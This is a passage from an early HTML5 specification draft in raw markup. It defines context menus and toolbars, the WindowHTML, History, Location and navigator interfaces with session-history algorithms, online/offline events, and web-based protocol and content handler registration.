the element so identified.  <p>When an element's context menu is requested (e.g. by the user   right-clicking the element, or pressing a context menu key), the UA must   <a href="#firing1">fire a <code title="">contextmenu</code> event</a> on   the element for which the menu was requested.  <p class=note>Typically, therefore, the firing of the <code   title=event-contextmenu>contextmenu</code> event will be the default   action of a <code title=mouseup>mouseup</code> or <code   title=event-keyup>keyup</code> event. The exact sequence of events is   UA-dependent, as it will vary based on platform conventions.  <p>The default action of the <code   title=event-contextmenu>contextmenu</code> event depends on whether the   element has a context menu assigned (using the <code   title=attr-contextmenu><a href="#contextmenu">contextmenu</a></code>   attribute) or not. If it does not, the default action must be for the user   agent to show its default context menu, if it has one.  <p>If the element <em>does</em> have a context menu assigned, then the user   agent must <a href="#firing3">fire a <code title="">show</code> event</a>   on the relevant <code><a href="#menu0">menu</a></code> element.  <p>The default action of <em>this</em> event is that the user agent must   show a context menu <a href="#building1" title="building menus">built</a>   from the <code><a href="#menu0">menu</a></code> element.  <p>The user agent may also provide access to its default context menu, if   any, with the context menu shown. For example, it could merge the menu   items from the two menus together, or provide the page's context menu as a   submenu of the default menu.  <p>If the user dismisses the menu without making a selection, nothing in   particular happens.  <p>If the user selects a menu item that represents a <span   title=concept-commands>command</span>, then the UA must invoke that   command's <a href="#action" title=command-facet-Action>Action</a>, as   defined above.  <p>Context menus must not, while being shown, reflect changes in the DOM;   they are constructed as the default action of the <code   title=event-show>show</code> event and must remain like that until   dismissed.  <p>User agents may provide means for bypassing the context menu processing   model, ensuring that the user can always access the UA's default context   menus. For example, the user agent could handle right-clicks that have the   Shift key depressed in such a way that it does not fire the <code   title=event-contextmenu>contextmenu</code> event and instead always shows   the default context menu.  <p>The <dfn id=contextmenu0   title=dom-contextMenu><code>contextMenu</code></dfn> attribute must <a   href="#reflect">reflect</a> the <code title=attr-contextmenu><a   href="#contextmenu">contextmenu</a></code> content attribute.  <h4 id=toolbars><span class=secno>4.5.4. </span><dfn   id=toolbars1>Toolbars</dfn></h4>  <p>Toolbars are a kind of menu that is always visible.  <p>When a <code><a href="#menu0">menu</a></code> element has a <code   title=attr-menu-type><a href="#type13">type</a></code> attribute with the   value <code title="">toolbar</code>, then the user agent must <a   href="#building1" title="building menus">build</a> the menu for that   <code><a href="#menu0">menu</a></code> element and <span   title=render-toolbar>render</span><!-- XXX xref --> it in the document in   a position appropriate for that <code><a href="#menu0">menu</a></code>   element.  <p>The user agent must reflect changes made to the <code><a   href="#menu0">menu</a></code>'s DOM immediately in the UI.  <h3 id=repetition-templates><span class=secno>4.6. </span>Repetition   templates</h3>  <p class=big-issue>See <a   href="http://whatwg.org/specs/web-forms/current-work/#repeatingFormControls">WF2</a>   for now  <h2 id=apis><span class=secno>5. </span>The browser environment</h2>  <p>This section describes a set of APIs that allow authors to make their   documents and applications interact with the user agent, integrating with   native features such as the navigation history, drag-and-drop, undo/redo,   and selections.  <h3 id=the-global><span class=secno>5.1. </span>The global scope</h3>  <p>Many of the APIs are part of the <code><a   href="#windowhtml">WindowHTML</a></code> interface. The <code><a   href="#windowhtml">WindowHTML</a></code> interface must be obtainable from   the <code>Window</code> object using binding-specific casting methods. <a   href="#refsWINDOW">[WINDOW]</a>  <pre class=idl>interface <dfn id=windowhtml>WindowHTML</dfn> {  // defined in this section  readonly attribute <a href="#history1">History</a> <a href="#history0" title=dom-history>history</a>;  readonly attribute <a href="#clientinformation">ClientInformation</a> <a href="#navigator" title=dom-navigator>navigator</a>; <!-- XXX IE6 also has window.clientInformation pointing to this same object -->  readonly attribute <a href="#undomanager">UndoManager</a> <a href="#undomanager0" title=dom-undoManager>undoManager</a>;  <a href="#selection1">Selection</a> <a href="#getselection" title=dom-getSelection>getSelection</a>();  readonly attribute <a href="#storage2">Storage</a> <a href="#sessionstorage" title=dom-sessionStorage>sessionStorage</a>;  readonly attribute <a href="#storagelist">StorageList</a> <a href="#globalstorage" title=dom-globalStorage>globalStorage</a>;  // defined in other sections           attribute <span title=dom-Object>Object</span> <a href="#onerror">onerror</a>;  // more...<!-- XXX constructors -->};</pre>  <!-- XXX XMLHttpRequest, Image, Audio, confirm, prompt, alert, ...          http://msdn.microsoft.com/workshop/author/dhtml/reference/objects/obj_window.asp          http://www.mozilla.org/docs/dom/domref/dom_window_ref.html          http://lxr.mozilla.org/mozilla/source/dom/public/idl/base/nsIDOMWindow.idl   -->  <p>The <code><a href="#windowhtml">WindowHTML</a></code> object must   provide the following constructors:  <dl>   <dt><dfn id=audio title=dom-audio><code>Audio()</code></dfn>   <dd>    <p>Constructs an <code><a href="#audio0">Audio</a></code> object.   <dt><dfn id=image0 title=dom-image><code>Image()</code></dfn>   <dt><dfn id=imagein title=dom-image-w><code>Image(in unsigned long <var    title="">w</var>)</code></dfn>   <dt><dfn id=imagein0 title=dom-image-wh><code>Image(in unsigned long <var    title="">w</var>, in unsigned long <var title="">h</var>)</code></dfn>   <dd>    <p>Constructs an <code><a     href="#htmlimageelement">HTMLImageElement</a></code> object (a new     <code><a href="#img0">img</a></code> element). If the <var     title="">h</var> argument is present, the new object's <code     title=attr-img-height><a href="#height">height</a></code> content     attribute must be set to <var title="">h</var>. If the <var     title="">w</var> argument is present, the new object's <code     title=attr-img-width><a href="#width">width</a></code> content attribute     must be set to <var title="">w</var>.   <dt><dfn id=option title=dom-option><code>Option()</code></dfn>   <dt><dfn id=optionin title=dom-option-n><code>Option(in DOMString <var    title="">name</var>)</code></dfn>   <dt><dfn id=optionin0 title=dom-option-nv><code>Option(in DOMString <var    title="">name</var>, in DOMString <var title="">value</var>)</code></dfn>   <dd>    <p>Constructs an <code>HTMLOptionElement</code> object (a new     <code>option</code> element). <span class=big-issue>need to define     argument processing</span>  </dl>  <h3 id=history><span class=secno>5.2. </span>Session history and navigation</h3>  <h4 id=the-session><span class=secno>5.2.1. </span>The <dfn   id=session0>session history</dfn> of browsing contexts</h4>  <!-- XXX would be nice to have an intro paragraph that DFNed session  history instead of having the header do it -->  <p><code><a href="#history1">History</a></code> objects provide a   representation of the pages in the session history of their   <code>Window</code> object's <a href="#browsing">browsing context</a>.   Each browsing context (<code>frame</code>, <code><a   href="#iframe0">iframe</a></code>, etc) has a distinct session history.</p>  <!-- conf crit for that last statement is in  the bit that defines browsing context -->  <p>Each <code><a href="#documentui">DocumentUI</a></code> object in a   browsing context's session history is associated with a unique instance of   the <code><a href="#history1">History</a></code> object, although they all   must model the same underlying session history.  <p>The <dfn id=history0 title=dom-history><code>history</code></dfn>   attribute of the <code><a href="#windowhtml">WindowHTML</a></code>   interface must return the object implementing the <code><a   href="#history1">History</a></code> interface for that <code><a   href="#windowhtml">WindowHTML</a></code> object's associated <code><a   href="#documentui">DocumentUI</a></code> object.  <p><code><a href="#history1">History</a></code> objects represent their <a   href="#browsing">browsing context</a>'s session history as a flat list of   URIs and <a href="#state" title="state object">state objects</a>. (This   does not imply that the UI need be linear. See the <a   href="#history-notes">notes below</a>.)  <p>Typically, the history list will consist of only URIs. However, a page   can <a href="#pushstate" title=dom-history-pushState>add</a> <dfn id=state   title="state object">state objects</dfn> between its entry in the session   history and the next ("forward") entry. These are then <a href="#popstate"   title=event-popstate>returned to the script</a> when the user (or script)   goes back in the history, thus enabling authors to use the "navigation"   metaphor even in one-page applications.  <p>Entries that consist of <a href="#state" title="state object">state   objects</a> share the same <code><a   href="#documentui">DocumentUI</a></code> as the entry for the URI itself.   Contiguous entries that differ just by fragment identifier must also share   the same <code><a href="#documentui">DocumentUI</a></code>.  <p class=note>All entries that share the same <code><a   href="#documentui">DocumentUI</a></code> (and that are therefore merely   different states of one particular document) are contiguous by definition.  <p>At any point, one of the entries in the session history is the <dfn   id=current>current entry</dfn>. This is the entry representing the page in   this <a href="#browsing">browsing context</a> that is considered the   "current" page by the UA. The <a href="#current">current entry</a> is   usually an entry for the <a href="#href6"   title=dom-location-href>location</a> of the <code><a   href="#documentui">DocumentUI</a></code>. However, it can also be one of   the entries for <a href="#state" title="state object">state objects</a>   added to the history by that document.  <p>When the browser's navigation model differs significantly from the   sequential model represented by the <code><a   href="#history1">History</a></code> interface, for example if separate   <code><a href="#documentui">DocumentUI</a></code> objects in the session   history are all simulatenously displayed and active, then the <a   href="#current">current entry</a> could even be an entry unrelated to the   <code><a href="#history1">History</a></code> object's own <code><a   href="#documentui">DocumentUI</a></code> object. If, when a method is   invoked on a <code><a href="#history1">History</a></code> object, the <a   href="#current">current entry</a> for that <a href="#browsing">browsing   context</a>'s session history has a different <code><a   href="#documentui">DocumentUI</a></code> object than the <code><a   href="#history1">History</a></code> object's own <code><a   href="#documentui">DocumentUI</a></code> object, then the user agent must   raise a <code>NO_MODIFICATION_ALLOWED_ERR</code> DOM exception. (This can   only happen if scripts are allowed to run in documents that are not the   current document. Typically, however, user agents only allow scripts from   the <a href="#current">current entry</a> to execute.)  <p>User agents may <dfn id=discard>discard</dfn> the DOMs of entries other   than the <a href="#current">current entry</a>, reloading the pages afresh   when the user or script navigates back to such pages. This specification   does not specify when user agents should discard pages' DOMs and when they   should cache them. See the section on the <code   title=event-load>load</code> and <code title=event-unload>unload</code>   events for more details.</p>  <!--  XXX crossref! -->  <p>Entries that have had their DOM discarded must, for the purposes of the   algorithms given below, act as if they had not. When the user or script   navigates back or forwards to a page which has no in-memory DOM objects,   any other entries that shared the same <code><a   href="#documentui">DocumentUI</a></code> object with it must share the new   object as well.  <p>When a user agent discards the DOM from an entry in the session history,   it must also discard all the entries from the first state object entry for   that <code><a href="#documentui">DocumentUI</a></code> object up to and   including the last entry for that <code><a   href="#documentui">DocumentUI</a></code> object (including any   non-state-object entries in that range, such as entries where the user   navigated using fragment identifiers). These entries are not recreated if   the user or script navigates back to the page. If there are no state   object entries for that <code><a href="#documentui">DocumentUI</a></code>   object then no entries are removed.  <h4 id=the-history><span class=secno>5.2.2. </span>The <code><a   href="#history1">History</a></code> interface</h4>  <pre class=idl>interface <dfn id=history1>History</dfn> {  readonly attribute long <a href="#length3" title=dom-history-length>length</a>;<!--  DOMString <span title="dom-history-item">item</span>(in unsigned long index);  readonly attribute DOMString <span title="dom-history-current">current</span>;  readonly attribute DOMString <span title="dom-history-previous">previous</span>;  readonly attribute DOMString <span title="dom-history-next">next</span>;-->  void <a href="#godelta" title=dom-history-go>go</a>(in long delta);  void <a href="#go" title=dom-history-go-0>go</a>();  void <a href="#back" title=dom-history-back>back</a>();  void <a href="#forward" title=dom-history-forward>forward</a>();  void <a href="#pushstate" title=dom-history-pushState>pushState</a>(in DOMObject data);  void <a href="#clearstate" title=dom-history-clearState>clearState</a>();};</pre>  <p>The <dfn id=length3 title=dom-history-length><code>length</code></dfn>   attribute of the <code><a href="#history1">History</a></code> interface   must return the number of entries in this session history.  <p>The actual entries are not accessible from script.</p>  <!--  <p>The <dfn  title="dom-history-item"><code>item(<var title="">index</var>)</code></dfn>  function must raise a <span>security exception</span>.</p>  <p>In the ECMAScript DOM binding, objects implementing this interface  must support being dereferenced using square bracket notation (e.g.  <code>history[1]</code>). Dereferencing with an integer index must  be treated as equivalent to invoking the <code>item()</code> method  with that index.</p>-->  <p>The <dfn id=godelta title=dom-history-go><code>go(<var   title="">delta</var>)</code></dfn> method causes the UA to move the number   of steps specified by <var title="">delta</var> in the session history.  <p>If the index of the <a href="#current">current entry</a> plus <var   title="">delta</var> is less than zero or greater than or equal to the <a   href="#length3" title=dom-history-length>number of items in the session   history</a>, then the user agent must do nothing.  <p>If the <var title="">delta</var> is zero, then the user agent must act   as if the <code title=dom-location-reload>location.reload()</code> method   was called instead.  <p>Otherwise, the user agent must cause the current <a   href="#browsing">browsing context</a> to navigate to the specified entry,   as described below. The specified entry is the one whose index equals the   index of the <a href="#current">current entry</a> plus <var   title="">delta</var>.  <p>If there are any entries with state objects between the current entry   and the specified entry (not inclusive), then the user agent must iterate   through every entry between the current entry and the specified entry,   starting with the entry closest to the current entry, and ending with the   one closest to the specified entry. For each entry, if the entry is a   state object, the user agent must <a href="#activating1">activate the   state object</a>.  <p>If the specified entry has a different <code><a   href="#documentui">DocumentUI</a></code> object than the <a   href="#current">current entry</a> then the user agent must make that   <code><a href="#documentui">DocumentUI</a></code> object the user's   "current" one for that <a href="#browsing">browsing context</a>.  <p>If the specified entry is a state object, the user agent must <a   href="#activating1" title="activate the state object">activate that state   object</a>. Otherwise, the user agent must update the current <a   href="#location" title=dom-location>location</a> object to the new   location.  <p>User agents may also update other aspects of the document view when the   location changes in this way, for instance the scroll position, values of   form fields, etc.  <p>When the user navigates through a <a href="#browsing">browsing   context</a>, e.g. using a browser's back and forward buttons, the user   agent must translate this action into the equivalent invocations of the   <code title=dom-history-go><a href="#godelta">history.go(<var   title="">delta</var>)</a></code> method on the various affected <code   title=dom-window>window</code> objects.  <p>Some of the other members of the <code><a   href="#history1">History</a></code> interface are defined in terms of the   <code title=dom-history-go><a   href="#godelta">go()</a></code><!-- and <code  title="dom-history-item">item()</code>-->   method<!--s-->, as follows:  <table>   <tbody>    <tr>     <th>Member     <th>Definition    </tr>    <!--   <tr>    <td><dfn title="dom-history-current"><code>current</code></dfn></td>    <td>Must return the same as <code title="dom-history-item">item(<var>current entry</var>)</code></td>   </tr>   <tr>    <td><dfn title="dom-history-previous"><code>previous</code></dfn></td>    <td>Must return the same as <code title="dom-history-item">item(<var>current entry</var>-1)</code></td>   </tr>   <tr>    <td><dfn title="dom-history-next"><code>next</code></dfn></td>    <td>Must return the same as <code title="dom-history-item">item(<var>current entry</var>+1)</code></td>   </tr>-->    <tr>     <td><dfn id=go title=dom-history-go-0><code>go()</code></dfn>     <td>Must do the same as <code title=dom-history-go><a      href="#godelta">go(0)</a></code>    <tr>     <td><dfn id=back title=dom-history-back><code>back()</code></dfn>     <td>Must do the same as <code title=dom-history-go><a      href="#godelta">go(-1)</a></code>    <tr>     <td><dfn id=forward      title=dom-history-forward><code>forward()</code></dfn>     <td>Must do the same as <code title=dom-history-go><a      href="#godelta">go(1)</a></code>  </table>  <p>The <dfn id=pushstate title=dom-history-pushState><code>pushState(<var   title="">data</var>)</code></dfn> method adds a state object to the   history.  <p>When this method is invoked, the user agent must first remove from the   session history any entries for that <code><a   href="#documentui">DocumentUI</a></code> from the entry after the <a   href="#current">current entry</a> up to the last entry in the session   history that references the same <code><a   href="#documentui">DocumentUI</a></code> object, if any. If the <a   href="#current">current entry</a> is the last entry in the session   history, or if there are no entries after the <a href="#current">current   entry</a> that reference the same <code><a   href="#documentui">DocumentUI</a></code> object, then no entries are   removed.  <p>Then, the user agent must add a state object entry to the session   history, after the <a href="#current">current entry</a>, with the   specified <var title="">data</var> as the state object.  <p>Finally, the user agent must update the <a href="#current">current   entry</a> to be the this newly added entry.  <p class=big-issue>There has been a suggestion that pushState() should take   a URI and a string; the URI to allow for the page to be bookmarked, and   the string to allow the UA to give the page a meaningful title in the   history state, if it shows history state.</p>  <!-- XXX could have four variants of pushState to allow  with/without URI and with/without title. Or maybe URI only makes  sense if there is a title. -->  <p>User agents may limit the number of state objects added to the session   history per page. If a page hits the UA-defined limit, user agents must   remove the entry immediately after the first entry for that <code><a   href="#documentui">DocumentUI</a></code> object in the session history   after having added the new entry. (Thus the state history acts as a FIFO   buffer for eviction, but as a LIFO buffer for navigation.)  <p>The <dfn id=clearstate   title=dom-history-clearState><code>clearState()</code></dfn> method   removes all the state objects for the <code><a   href="#documentui">DocumentUI</a></code> object from the session history.  <p>When this method is invoked, the user agent must remove from the session   history all the entries from the first state object entry for that   <code><a href="#documentui">DocumentUI</a></code> object up to the last   entry that references that same <code><a   href="#documentui">DocumentUI</a></code> object, if any.  <p>Then, if the <a href="#current">current entry</a> was removed in the   previous step, the <a href="#current">current entry</a> must be set to the   last entry for that <code><a href="#documentui">DocumentUI</a></code>   object in the session history.  <h4 id=activating><span class=secno>5.2.3. </span><dfn id=activating1   title="activate the state object">Activating state objects</dfn></h4>  <p>When a state object in the session history is activated (which happens   in the cases described above), the user agent must fire a <dfn id=popstate   title=event-popstate><code>popstate</code></dfn> event in the   <code>http://www.w3.org/2001/xml-events</code> namespace on the <a   href="#the-body0">the body element</a> using the <code><a   href="#popstateevent">PopStateEvent</a></code> interface, with the state   object in the <code title=dom-PopStateEvent-state><a   href="#state0">state</a></code> attribute. This event bubbles but is not   cancelable and has no default action.</p>  <!-- XXX onpopstate should be defined somewhere -->  <pre   class=idl>interface <dfn id=popstateevent>PopStateEvent</dfn> : Event {  readonly attribute DOMObject <a href="#state0" title=dom-PopStateEvent-state>state</a>;  void <a href="#initpopstateevent" title=dom-PopStateEvent-initPopStateEvent>initPopStateEvent</a>(in DOMString typeArg, in boolean canBubbleArg, in boolean cancelableArg, in DOMObject statetArg);  void <a href="#initpopstateeventns" title=dom-PopStateEvent-initPopStateEventNS>initPopStateEventNS</a>(in DOMString namespaceURIArg, in DOMString typeArg, in boolean canBubbleArg, in boolean cancelableArg, in DOMObject stateArg);};</pre>  <p>The <dfn id=initpopstateevent   title=dom-PopStateEvent-initPopStateEvent><code>initPopStateEvent()</code></dfn>   and <dfn id=initpopstateeventns   title=dom-PopStateEvent-initPopStateEventNS><code>initPopStateEventNS()</code></dfn>   methods must initialise the event in a manner analogous to the   similarly-named methods in the DOM3 Events interfaces. <a   href="#DOM3Events">[DOM3EVENTS]</a>  <p>The <dfn id=state0   title=dom-PopStateEvent-state><code>state</code></dfn> attribute   represents the context information for the event.  <h4 id=the-location><span class=secno>5.2.4. </span>The <code><a   href="#location1">Location</a></code> interface</h4>  <p>The <dfn id=location title=dom-location><code>location</code></dfn>   attribute of the <code><a href="#windowhtml">WindowHTML</a></code>   interface must return an object implementing the <code><a   href="#location1">Location</a></code> interface.  <p>For historical reasons, the <dfn id=location0   title=dom-document-location><code>location</code></dfn> attribute of the   <code><a href="#documentui">DocumentUI</a></code> interface must return   the same object as the <code title=dom-location><a   href="#location">location</a></code> attribute on its associated <code><a   href="#windowhtml">WindowHTML</a></code> object.  <p><code><a href="#location1">Location</a></code> objects provide a   representation of the URI of their document, and allow the <a   href="#current">current entry</a> of the <a href="#browsing">browsing   context</a>'s session history to be changed, by adding or replacing   entries in the <code title=dom-history><a   href="#history0">history</a></code> object.  <pre class=idl>interface <dfn id=location1>Location</dfn> {  readonly attribute DOMString <span title=dom-location-hash>hash</span>;  readonly attribute DOMString <span title=dom-location-host>host</span>;  readonly attribute DOMString <span title=dom-location-hostname>hostname</span>;  readonly attribute DOMString <a href="#href6" title=dom-location-href>href</a>;  readonly attribute DOMString <span title=dom-location-pathname>pathname</span>;  readonly attribute DOMString <span title=dom-location-port>port</span>;  readonly attribute DOMString <span title=dom-location-protocol>protocol</span>;  readonly attribute DOMString <span title=dom-location-search>search</span>; <!-- blame brendan for these "innovative" names -->  void <a href="#assign" title=dom-location-assign>assign</a>(in DOMString url);  void <a href="#replace" title=dom-location-replace>replace</a>(in DOMString url);  void <span title=dom-location-reload>reload</span>();};</pre>  <p>In the ECMAScript DOM binding, objects implementing this interface must   stringify to the same value as the <code title=dom-location-href><a   href="#href6">href</a></code> attribute.  <p id=settingLocation>In the ECMAScript DOM binding, the <code   title="">location</code> members of the <code><a   href="#documentui">DocumentUI</a></code> and <code><a   href="#windowhtml">WindowHTML</a></code> interfaces behave as if they had   a setter: user agents must treats attempts to set these <code   title="">location</code> attribute as attempts at setting the <code   title=dom-location-href><a href="#href6">href</a></code> attribute of the   relevant <code><a href="#location1">Location</a></code> object instead.  <p>The <dfn id=href6 title=dom-location-href><code>href</code></dfn>   attribute returns the address of the page represented by the associated   <code><a href="#documentui">DocumentUI</a></code> object, as an absolute   IRI reference.  <p>On setting, <!--XXX Mozilla does this, but IE doesn't. What  should we do?: the behaviour depends on the context in which the  script that set the attribute is running. If the script ran as the  direct result of the execution of a <code>script</code> element in  the document represented by the <code>Location</code> object's  associated <code>DocumentUI</code> object, then the user agent must  act as if the <code title="dom-location-replace">replace()</code>  method had been called with the new value as its  argument. Otherwise,-->   the user agent must act as if the <code title=dom-location-assign><a   href="#assign">assign()</a></code> method had been called with the new   value as its argument.</p>  <!-- XXX may wish to allow  replace instead as a UI improvement -->  <p>When the <dfn id=assign title=dom-location-assign><code>assign(<var   title="">url</var>)</code></dfn> method is invoked, the UA must remove all   the entries after the <a href="#current">current entry</a> in its <code><a   href="#documentui">DocumentUI</a></code>'s <code><a   href="#history1">History</a></code> object, add a new entry, with the   given <var title="">url</var>, at the end of the list (asynchronously   loading the new page if necessary), and then advance to that page as if   the <code title=dom-history-forward><a   href="#forward">history.forward()</a></code> method had been invoked.  <p>When the <dfn id=replace title=dom-location-replace><code>replace(<var   title="">url</var>)</code></dfn> method is invoked, the UA must act as if   the <code title=dom-location-assign><a href="#assign">assign()</a></code>   method had been invoked, but with the additional step of removing the   entry that was the <a href="#current">current entry</a> before the method   call after the above steps (thus simply causing the current page to be   replaced by the new one).  <p>In both cases, if the location before the method call would differ from   the location after the method only in terms of the fragment identifier,   then the user agent must use the same <code><a   href="#documentui">DocumentUI</a></code> object, updating only the scroll   position in the document's view(s) appropriately.  <p>Relative <var title="">url</var> arguments for <code   title=dom-location-assign><a href="#assign">assign()</a></code> and <code   title=dom-location-replace><a href="#replace">replace()</a></code> must be   resolved relative to the base URI of the script that made the method call.</p>  <!-- XXX what about if the base URI is data: or  javascript: or about: or something else without a way to resolve  base URIs? -->  <p class=big-issue>The component parts and .reload() are yet to be defined.   If anyone can come up with a decent definition, let me know.</p>  <!--  http://www.hixie.ch/tests/adhoc/dom/level0/location/components/  http://lxr.mozilla.org/seamonkey/source/dom/src/base/nsLocation.cpp  http://wp.netscape.com/eng/mozilla/3.0/handbook/javascript/ref_h-l.htm#84722  <dfn title="dom-location-protocol"><code>protocol</code></dfn>  <dfn title="dom-location-host"><code>host</code></dfn> ( host name and port )  <dfn title="dom-location-port"><code>port</code></dfn> ( just port )  <dfn title="dom-location-hostname"><code>hostname</code></dfn> ( just host name )  <dfn title="dom-location-pathname"><code>pathname</code></dfn>  <dfn title="dom-location-search"><code>search</code></dfn>  <dfn title="dom-location-hash"><code>hash</code></dfn>-->  <!--  <dfn title="dom-location-reload"><code>reload()</code></dfn>  reload during resize event:  redisplay the current page (without reloading it). This  theoretically would have no effect but in practice can be useful to  work around rendering bugs.reload on shared DocumentUI updates all of themuser reload must be equivalent to .reload()-->  <h4 id=history-notes><span class=secno>5.2.5. </span>Implementation notes   for session history</h4>  <p><em>This section is non-normative.</em>  <p>The <code><a href="#history1">History</a></code> interface is not meant   to place restrictions on how implementations represent the session history   to the user.  <p>For example, session history could be implemented in a tree-like manner,   with each page having multiple "forward" pages. This specification doesn't   define how the linear list of pages in the <code title=dom-history><a   href="#history0">history</a></code> object are derived from the actual   session history as seen from the user's perspective.  <p>Similarly, a page containing two <code><a   href="#iframe0">iframe</a></code>s has a <code title=dom-history><a   href="#history0">history</a></code> object distinct from the <code><a   href="#iframe0">iframe</a></code>s' <code title=dom-history><a   href="#history0">history</a></code> objects, despite the fact that typical   Web browsers present the user with just one "Back" button, with a session   history that interleaves the navigation of the two inner frames and the   outer page.  <p><strong>Security:</strong> It is suggested that to avoid letting a page   "hijack" the history navigation facilities of a UA by abusing <code   title=dom-history-pushState><a href="#pushstate">pushState()</a></code>,   the UA provide the user with a way to jump back to the previous page   (rather than just going back to the previous state). For example, the back   button could have a drop down showing just the pages in the session   history, and not showing any of the states. Similarly, an aural browser   could have two "back" commands, one that goes back to the previous state,   and one that jumps straight back to the previous page.  <p>In addition, a user agent could ignore calls to <code   title=dom-history-pushState><a href="#pushstate">pushState()</a></code>   that are invoked on a timer, or from event handlers that do not represent   a clear user action, or that are invoked in rapid succession.  <h3 id=browser><span class=secno>5.3. </span>Browser state</h3>  <p>The <dfn id=navigator title=dom-navigator><code>navigator</code></dfn>   attribute of the <code><a href="#windowhtml">WindowHTML</a></code>   interface must return an instance of the <code><a   href="#clientinformation">ClientInformation</a></code> interface, which   represents the identity and state of the user agent (the client), and   allows Web pages to register themselves as potential protocol and content   handlers:  <pre   class=idl>interface <dfn id=clientinformation>ClientInformation</dfn> {  readonly attribute boolean <a href="#navigator.online" title=dom-navigator-onLine>onLine</a>;  void <a href="#registerprotocolhandler" title=dom-navigator-registerProtocolHandler>registerProtocolHandler</a>(in DOMString protocol, in DOMString uri, in DOMString title);  void <a href="#registercontenthandler" title=dom-navigator-registerContentHandler>registerContentHandler</a>(in DOMString mimeType, in DOMString uri, in DOMString title);<!-- XXX there are other attributes! -->};</pre>  <!-- also, see window.external.AddSearchProvider() and similar DOM APIs from IE -->  <h4 id=offline><span class=secno>5.3.1. </span>Offline Web applications</h4>  <p>The <dfn id=navigator.online   title=dom-navigator-onLine><code>navigator.onLine</code></dfn> attribute   must return false if the user agent will not contact the network when the   user follows links or when a script requests a remote page (or knows that   such an attempt would fail), and must return true otherwise.  <p>The <dfn id=offline0 title=event-offline><code>offline</code></dfn>   event must be fired when the value of the <code   title=dom-navigator-onLine><a   href="#navigator.online">navigator.onLine</a></code> attribute of the   <code><a href="#windowhtml">WindowHTML</a></code> changes from true to   false.  <p>The <dfn id=online title=event-online><code>online</code></dfn> event   must be fired when the value of the <code title=dom-navigator-onLine><a   href="#navigator.online">navigator.onLine</a></code> attribute of the   <code><a href="#windowhtml">WindowHTML</a></code> changes from false to   true.  <p>These events are in the <code>http://www.w3.org/2001/xml-events</code>   namespace, do bubble, are not cancelable, have no default action, and use   the normal <code>Event</code> interface. They must be fired on <a   href="#the-body0">the body element</a>. (As the events bubble, they will   reach the <code><a href="#windowhtml">WindowHTML</a></code> object.)</p>  <!-- XXX ononline onoffline need to be defined -->  <h4 id=custom-handlers><span class=secno>5.3.2. </span>Custom protocol and   content handlers</h4>  <p>The <dfn id=registerprotocolhandler   title=dom-navigator-registerProtocolHandler><code>registerProtocolHandler()</code></dfn>   method allows Web sites to register themselves as possible handlers for   particular protocols. For example, an online fax service could register   itself as a handler of the <code>fax:</code> protocol (<a   href="#refsRFC2806">[RFC2806]</a>), so that if the user clicks on such a   link, he is given the opportunity to use that Web site. Analogously, the   <dfn id=registercontenthandler   title=dom-navigator-registerContentHandler><code>registerContentHandler()</code></dfn>   method allows Web sites to register themselves as possible handlers for   content in a particular MIME type. For example, the same online fax   service could register itself as a handler for <code>image/g3fax</code>   files (<a href="#refsRFC1494">[RFC1494]</a>), so that if the user has no   native application capable of handling G3 Facsimile byte streams, his Web   browser can instead suggest he use that site to view the image.  <p>User agents may, within the constraints described in this section, do   whatever they like when the methods are called. A UA could, for instance,   prompt the user and offer the user the opportunity to add the site to a   shortlist of handlers, or make the handlers his default, or cancel the   request. UAs could provide such a UI through modal UI or through a   non-modal transient notification interface. UAs could also simply silently   collect the information, providing it only when relevant to the user.  <p>There is <a href="#sample-handler-impl">an example of how these methods   could be presented to the user</a> below.  <p>The arguments to the methods have the following meanings:  <dl>   <dt><var title="">protocol</var> (<code    title=dom-navigator-registerProtocolHandler><a    href="#registerprotocolhandler">registerProtocolHandler()</a></code>    only)   <dd>    <p>A scheme, such as <code>ftp</code> or <code>fax</code>. The scheme     must be treated case-insensitively by user agents for the purposes of     comparing with the scheme part of URIs that they consider against the     list of registered handlers.</p>    <p>The <var title="">protocol</var> value, if it contains a colon (as in     "<code>ftp:</code>"), will never match anything, since schemes don't     contain colons.</p>   <dt><var title="">mimeType</var> (<code    title=dom-navigator-registerContentHandler><a    href="#registercontenthandler">registerContentHandler()</a></code> only)   <dd>    <p>A MIME type, such as <code>model/vrml</code> or     <code>text/richtext</code>. The MIME type must be treated     case-insensitively by user agents for the purposes of comparing with     MIME types of documents that they consider against the list of     registered handlers.</p>    <p>User agents must compare the given values only to the MIME     type/subtype parts of content types, not to the complete type including     parameters. Thus, if <var title="">mimeType</var> values passed to this     method include characters such as commas or whitespace, or include MIME     parameters, then the handler being registered will never be used.</p>   <dt><var title="">uri</var>   <dd>    <p>The URI of the page that will handle the requests. When the user agent     uses this URI, it must replace the first occurrence of the exact literal     string "<code>%s</code>" with an escaped version of the URI of the     content in question (as defined below), and then fetch the resulting URI     using the GET method (or equivalent for non-HTTP URIs).</p>    <p>To get the escaped version of the URI, first, the domain part of the     URI (if any) must be converted to its punycode representation, and then,     every character in the URI that is not in the ranges given in the next     paragraph must be replaced by its UTF-8 byte representation, each byte     being represented by a U+0025 (%) character and two digits in the range     U+0030 (0) to U+0039 (9) and U+0041 (A) to U+0046 (F) giving the     hexadecimal representation of the byte.</p>    <p>The ranges of characters that must not be escaped are: U+002D (-),     U+002E (.), U+0030 (0) to U+0039 (9), U+0041 (A) to U+005A (Z), U+005F     (_), U+0061 (a) to U+007A (z), and U+007E (~).</p>    <!-- XXX move that to a common algorithms section if any other    part of the spec needs it -->        <div class=example>     <p>If the user had visited a site that made the following call:</p>     <pre>navigator.registerContentHandler('application/x-soup', 'http://example.com/soup?url=%s', 'SoupWebAMPERSANDtrade;')</pre>     <p>...and then clicked on a link such as:</p>     <pre>AMPERSANDlt;a href="http://www.example.net/chickenkAMPERSAND#xEF;wi.soup">Download our Chicken Kiwi soup!AMPERSANDlt;/a></pre>     <p>...then, assuming this <code>chickenkiwi.soup</code> file was served      with the MIME type <code>application/x-soup</code>, the UA might      instead navigate to the following URI:</p>     <pre>http://example.com/soup?url=http%3A%2F%2Fwww.example.net%2Fchickenk%C3%AFwi.soup</pre>     <p>This site could then fetch the <code>chickenkiwi.soup</code> file and      do whatever it is that it does with soup (synthesise it and ship it to      the user, or whatever).</p>    </div>   <dt><var title="">title</var>   <dd>    <p>A descriptive title of the handler, which the UA might use to remind     the user what the site in question is.</p>  </dl>  <p>User agents should raise <a href="#security2" title="security   exception">security exceptions</a> if the methods are called with <var   title="">protocol</var> or <var title="">mimeType</var> values that the UA   deems to be "privileged". For example, a site attempting to register a   handler for <code>http</code> URIs or <code>text/html</code> content in a   Web browser would likely cause an 